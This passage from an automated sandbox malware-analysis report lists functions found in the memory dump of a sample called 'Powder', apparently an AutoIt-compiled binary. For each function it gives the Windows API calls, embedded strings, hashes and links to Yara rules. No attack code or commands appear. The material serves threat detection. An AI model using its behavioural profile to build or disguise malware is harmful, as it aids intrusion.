Opcode Fuzzy Hash: 5b221393eb244d80ed699d9f56ccab23c51db7541451f85eb0e00d8307b3e25e
Instruction Fuzzy Hash: 4FD0A9A8160F8A78FC180327CE0FF7E0608FB007C8F8486497012C90C2FCD26C82A431

Function 00CD9369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00CD8FA7), ref: 00CD9389

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 8c7c565f3d578ccf1dbf13ed6ea0318e6466747e79834856dfb04eb6ece2e516
Instruction ID: d812bb53fb719600bfb11bb7a479f5d56f82357280b38c2e5ec136e66321def3
Opcode Fuzzy Hash: 8c7c565f3d578ccf1dbf13ed6ea0318e6466747e79834856dfb04eb6ece2e516
Instruction Fuzzy Hash: 9ED09E3226460EBBEF019EA4DD05EEE3B69EB04B01F408511FE15D51A1CB75D935AB60

Function 00CC0722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00CC0734

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: ec1d72102eaed8aa6e2bd6cb36aa075e1c1ef7c182c6e903182a803ee5e5f4e7
Instruction ID: a5300ec31f7eb3bd96c8e897821f3a38134de8b6e320a0c2056cdaa1c3bbd2e4
Opcode Fuzzy Hash: ec1d72102eaed8aa6e2bd6cb36aa075e1c1ef7c182c6e903182a803ee5e5f4e7
Instruction Fuzzy Hash: 48C04CF180010DDBCB05DBA0D988EEE7BBCAB08305F204059E145F2100D7749B448A71

Function 00CAA354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00CAA35A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9de1cb78605fe1fbd98a2e236edd302bb0a15dd1c2a588201e9bfe67232a7f92
Instruction ID: d2def0804c9df148569ee6fa92601b926c550dea86becbebb3b21be8de2dd4d0
Opcode Fuzzy Hash: 9de1cb78605fe1fbd98a2e236edd302bb0a15dd1c2a588201e9bfe67232a7f92
Instruction Fuzzy Hash: 77A0023105420CB78A012B55EC054957F5DD6456557408051F51D45521DB7255515595

Function 00D03BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00D10980), ref: 00D03C65
IsWindowVisible.USER32(?), ref: 00D03C89

Strings

SENDCOMMANDID, xrefs: 00D04018
SHOWDROPDOWN, xrefs: 00D03D1E
SELECTSTRING, xrefs: 00D03E44
UNCHECK, xrefs: 00D03EC1
GETCURRENTCOL, xrefs: 00D03F66
EDITPASTE, xrefs: 00D03F9D
FINDSTRING, xrefs: 00D03DB4
TABLEFT, xrefs: 00D03CC5
ADDSTRING, xrefs: 00D03D54
CHECK, xrefs: 00D03EAB
HIDEDROPDOWN, xrefs: 00D03D3E
GETCURRENTSELECTION, xrefs: 00D03E21
DELSTRING, xrefs: 00D03D87
GETCURRENTLINE, xrefs: 00D03F2B
CURRENTTAB, xrefs: 00D03CFB
SETCURRENTSELECTION, xrefs: 00D03DF4
ISCHECKED, xrefs: 00D03E77
GETLINE, xrefs: 00D03FD9
GETLINECOUNT, xrefs: 00D03F04
ISENABLED, xrefs: 00D03CA9
TABRIGHT, xrefs: 00D03CDB
GETSELECTED, xrefs: 00D03EE1
ISVISIBLE, xrefs: 00D03C75

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 8b013df845dbcb32fa8d79ea6d02d27eb935485ce0b212916645fb066cc25854
Instruction ID: 238087eed63ec77151d4eff4228ac92cc1963e2aa6739668d8bd9a29e2ea973b
Opcode Fuzzy Hash: 8b013df845dbcb32fa8d79ea6d02d27eb935485ce0b212916645fb066cc25854
Instruction Fuzzy Hash: 9FD181702142029BCB04EF10C491B6EB7A5EF95348F244559F98A6B3E2DB31ED4ADB61

Function 00D0ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00D0AC55
GetSysColorBrush.USER32(0000000F), ref: 00D0AC86
GetSysColor.USER32(0000000F), ref: 00D0AC92
SetBkColor.GDI32(?,000000FF), ref: 00D0ACAC
SelectObject.GDI32(?,?), ref: 00D0ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 00D0ACE6
GetSysColor.USER32(00000010), ref: 00D0ACEE
CreateSolidBrush.GDI32(00000000), ref: 00D0ACF5
FrameRect.USER32(?,?,00000000), ref: 00D0AD04
DeleteObject.GDI32(00000000), ref: 00D0AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 00D0AD56
FillRect.USER32(?,?,?), ref: 00D0AD88
GetWindowLongW.USER32(?,000000F0), ref: 00D0ADB3

Part of subcall function 00D0AF18: GetSysColor.USER32(00000012), ref: 00D0AF51
Part of subcall function 00D0AF18: SetTextColor.GDI32(?,?), ref: 00D0AF55
Part of subcall function 00D0AF18: GetSysColorBrush.USER32(0000000F), ref: 00D0AF6B
Part of subcall function 00D0AF18: GetSysColor.USER32(0000000F), ref: 00D0AF76
Part of subcall function 00D0AF18: GetSysColor.USER32(00000011), ref: 00D0AF93
Part of subcall function 00D0AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D0AFA1
Part of subcall function 00D0AF18: SelectObject.GDI32(?,00000000), ref: 00D0AFB2
Part of subcall function 00D0AF18: SetBkColor.GDI32(?,00000000), ref: 00D0AFBB
Part of subcall function 00D0AF18: SelectObject.GDI32(?,?), ref: 00D0AFC8
Part of subcall function 00D0AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 00D0AFE7
Part of subcall function 00D0AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D0AFFE
Part of subcall function 00D0AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 00D0B013

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: c7c03b860853ee2a8bc927eac010e7391893c891459068951f114b089cca31bd
Instruction ID: 5dff70237e4cd769d9d107dd130add264752b1451d83ed23ce0b685f1aff87aa
Opcode Fuzzy Hash: c7c03b860853ee2a8bc927eac010e7391893c891459068951f114b089cca31bd
Instruction Fuzzy Hash: 4CA18F71008305BFD711AF64DC08AAB7BA9FF48321F144A19F566D62E1DBB4D981CF62

Function 00C82FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00C83072
DeleteObject.GDI32(00000000), ref: 00C830B8
DeleteObject.GDI32(00000000), ref: 00C830C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00C830CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00C830D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00CBC77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00CBC7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00CBCBDE

Part of subcall function 00C81F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00C82412,?,00000000,?,?,?,?,00C81AA7,00000000,?), ref: 00C81F76

SendMessageW.USER32(?,00001053), ref: 00CBCC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00CBCC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00CBCC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00CBCC53

Strings

0, xrefs: 00CBCA72

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 6db7b4d73d1b792a146288b8df0e81c25ca2599dd3a74f06be6152cd2d59f1c6
Instruction ID: 4b2779793a699fec953863b187dcbd66ccbba313cd78047496a9efd6f0e93f26
Opcode Fuzzy Hash: 6db7b4d73d1b792a146288b8df0e81c25ca2599dd3a74f06be6152cd2d59f1c6
Instruction Fuzzy Hash: DB12A030604241EFDB15EF24C8C8BE9BBA5BF05714F144569F465CB262CB72EE82DB91

Function 00C927FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FE6: std::exception::exception.LIBCMT ref: 00CA101C
Part of subcall function 00CA0FE6: __CxxThrowException@8.LIBCMT ref: 00CA1031

__wcsnicmp.LIBCMT ref: 00C9286A
__wcsnicmp.LIBCMT ref: 00C9287E
__wcsnicmp.LIBCMT ref: 00C92896
__wcsnicmp.LIBCMT ref: 00C928AE
__wcsnicmp.LIBCMT ref: 00C928C6
__wcsnicmp.LIBCMT ref: 00C928DE
__wcsnicmp.LIBCMT ref: 00C928F6
__wcsnicmp.LIBCMT ref: 00C9290A
__wcsnicmp.LIBCMT ref: 00C92948
__wcsnicmp.LIBCMT ref: 00C9295C
__wcsnicmp.LIBCMT ref: 00C92970
__wcsnicmp.LIBCMT ref: 00C92984

Strings

#comments-start, xrefs: 00C928F0, 00C92942
#include, xrefs: 00C928D8
#cs, xrefs: 00C92904, 00C92956
Cannot parse #include, xrefs: 00CCFCE5
#comments-end, xrefs: 00C9296A
#ce, xrefs: 00C9297E
', xrefs: 00CCFB9F
#pragma compile, xrefs: 00C92864
Bad directive syntax error, xrefs: 00CCFBD3, 00CCFBF0
#OnAutoItStartRegister, xrefs: 00C928A8
#requireadmin, xrefs: 00C92890
", xrefs: 00CCFB89
#notrayicon, xrefs: 00C92878
#include-once, xrefs: 00C928C0
Unterminated group of comments, xrefs: 00CCFCFA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 94822a48c229b70c707d5b6a66e99c0dc6d5e40b9401aa898108d1754710f5fe
Instruction ID: 296b2b036200e9bdcb5df95414543195f4cda419d62124c4afdacfb019b50b53
Opcode Fuzzy Hash: 94822a48c229b70c707d5b6a66e99c0dc6d5e40b9401aa898108d1754710f5fe
Instruction Fuzzy Hash: 62A1CE31A0020ABBCF24AF61DC96FBE3779AF45740F140029F855AB292EB719F55E760

Function 00CF7B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00CF7BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00CF7C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00CF7CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00CF7CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00CF7D1D
GetClientRect.USER32(00000000,?), ref: 00CF7D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00CF7D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00CF7D7C
GetStockObject.GDI32(00000011), ref: 00CF7D8C
SelectObject.GDI32(00000000,00000000), ref: 00CF7D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00CF7DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CF7DA9
DeleteDC.GDI32(00000000), ref: 00CF7DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00CF7DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00CF7DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00CF7E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00CF7E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00CF7E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00CF7E85
GetStockObject.GDI32(00000011), ref: 00CF7E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00CF7E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00CF7EA5

Strings

AutoIt v3, xrefs: 00CF7D15
msctls_progress32, xrefs: 00CF7E26
DISPLAY, xrefs: 00CF7D72
static, xrefs: 00CF7D67, 00CF7E7F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 9e75a747406f159c5f0ad2b3537caea07239e40198cc4a3079f30e23fd7a3ec8
Instruction ID: a3cba44775eaa6fbebcf1ebee5d674077350f5c4ef5a2631fd12bcc6d456bae9
Opcode Fuzzy Hash: 9e75a747406f159c5f0ad2b3537caea07239e40198cc4a3079f30e23fd7a3ec8
Instruction Fuzzy Hash: 06A171B1A40619BFEB14DF64DC4AFAE7B69EB05710F048214FA15E72E0CBB0AD41CB64

Function 00CEB353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEB361
GetDriveTypeW.KERNEL32(?,00D12C4C,?,\\.\,00D10980), ref: 00CEB43E
SetErrorMode.KERNEL32(00000000,00D12C4C,?,\\.\,00D10980), ref: 00CEB59C

Strings

iSCSI, xrefs: 00CEB541
ATAPI, xrefs: 00CEB510
ATA, xrefs: 00CEB517
\\.\, xrefs: 00CEB3B3
SATA, xrefs: 00CEB54F
SSD, xrefs: 00CEB4C9
CDROM, xrefs: 00CEB472
1394, xrefs: 00CEB51E
RAID, xrefs: 00CEB53A
RAMDisk, xrefs: 00CEB468
SSA, xrefs: 00CEB525
Unknown, xrefs: 00CEB45E, 00CEB502
Removable, xrefs: 00CEB490
USB, xrefs: 00CEB533
Virtual, xrefs: 00CEB564
MMC, xrefs: 00CEB55D
SCSI, xrefs: 00CEB509
Network, xrefs: 00CEB47C
PhysicalDrive, xrefs: 00CEB3EA
FileBackedVirtual, xrefs: 00CEB56B
SAS, xrefs: 00CEB548
Fixed, xrefs: 00CEB486
Fibre, xrefs: 00CEB52C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 3948cd4f99260117f1f8dc25e826042d5533aecc5be67b9c030fc59a74cffe13
Instruction ID: 0560c92fd853a7b3e18e27766b93b8e3a40696fe2de9a302c8e1a1f758360157
Opcode Fuzzy Hash: 3948cd4f99260117f1f8dc25e826042d5533aecc5be67b9c030fc59a74cffe13
Instruction Fuzzy Hash: B551E670B4138AEFCB04EB23C943ABE77A0EB84350F244027F506A7291DB75AE45DB65

Function 00D0A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00D0A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00D0A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 00D0A1CC

Strings

0, xrefs: 00D0A209

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: ebb5559fa11ef70c95bc3a19554407c7db8ea466451a10724d8e07867f5be800
Instruction ID: e9a919f57c946ace690ffff852680bc6a51810a98b94b558bc462d3bfb390740
Opcode Fuzzy Hash: ebb5559fa11ef70c95bc3a19554407c7db8ea466451a10724d8e07867f5be800
Instruction Fuzzy Hash: FE02BE30208301AFD715CF28C849BAABBE5FF85314F08852DF599D62E1CB75D955CBA2

Function 00D0AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00D0AF51
SetTextColor.GDI32(?,?), ref: 00D0AF55
GetSysColorBrush.USER32(0000000F), ref: 00D0AF6B
GetSysColor.USER32(0000000F), ref: 00D0AF76
CreateSolidBrush.GDI32(?), ref: 00D0AF7B
GetSysColor.USER32(00000011), ref: 00D0AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D0AFA1
SelectObject.GDI32(?,00000000), ref: 00D0AFB2
SetBkColor.GDI32(?,00000000), ref: 00D0AFBB
SelectObject.GDI32(?,?), ref: 00D0AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 00D0AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D0AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 00D0B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00D0B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00D0B086
InflateRect.USER32(?,000000FD,000000FD), ref: 00D0B0A4
DrawFocusRect.USER32(?,?), ref: 00D0B0AF
GetSysColor.USER32(00000011), ref: 00D0B0BD
SetTextColor.GDI32(?,00000000), ref: 00D0B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00D0B0D9
SelectObject.GDI32(?,00D0AC1F), ref: 00D0B0F0
DeleteObject.GDI32(?), ref: 00D0B0FB
SelectObject.GDI32(?,?), ref: 00D0B101
DeleteObject.GDI32(?), ref: 00D0B106
SetTextColor.GDI32(?,?), ref: 00D0B10C
SetBkColor.GDI32(?,?), ref: 00D0B116

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: dc7cec33be5683da8b2d7f71a7f3b5b4f788729343e9dd7029f6f413701684c3
Instruction ID: 08779fd409a3c95b1a093ecc5e7220dec69b47d30fcbb71ed0d740fe1aa5b42e
Opcode Fuzzy Hash: dc7cec33be5683da8b2d7f71a7f3b5b4f788729343e9dd7029f6f413701684c3
Instruction Fuzzy Hash: 78612B71900219BFDB11AFA4DC48AEE7F79EF08320F148115F915EB2A1DBB59981DFA0

Function 00D08FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00D090EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D090FB
CharNextW.USER32(0000014E), ref: 00D0912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00D0916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00D09181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D09192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00D091AF
SetWindowTextW.USER32(?,0000014E), ref: 00D091FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00D09211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00D09242
_memset.LIBCMT ref: 00D09267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00D092B0
_memset.LIBCMT ref: 00D0930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00D09339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00D09391
SendMessageW.USER32(?,0000133D,?,?), ref: 00D0943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00D09460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D094AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D094D7
DrawMenuBar.USER32(?), ref: 00D094E6
SetWindowTextW.USER32(?,0000014E), ref: 00D0950E

Strings

0, xrefs: 00D09478

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
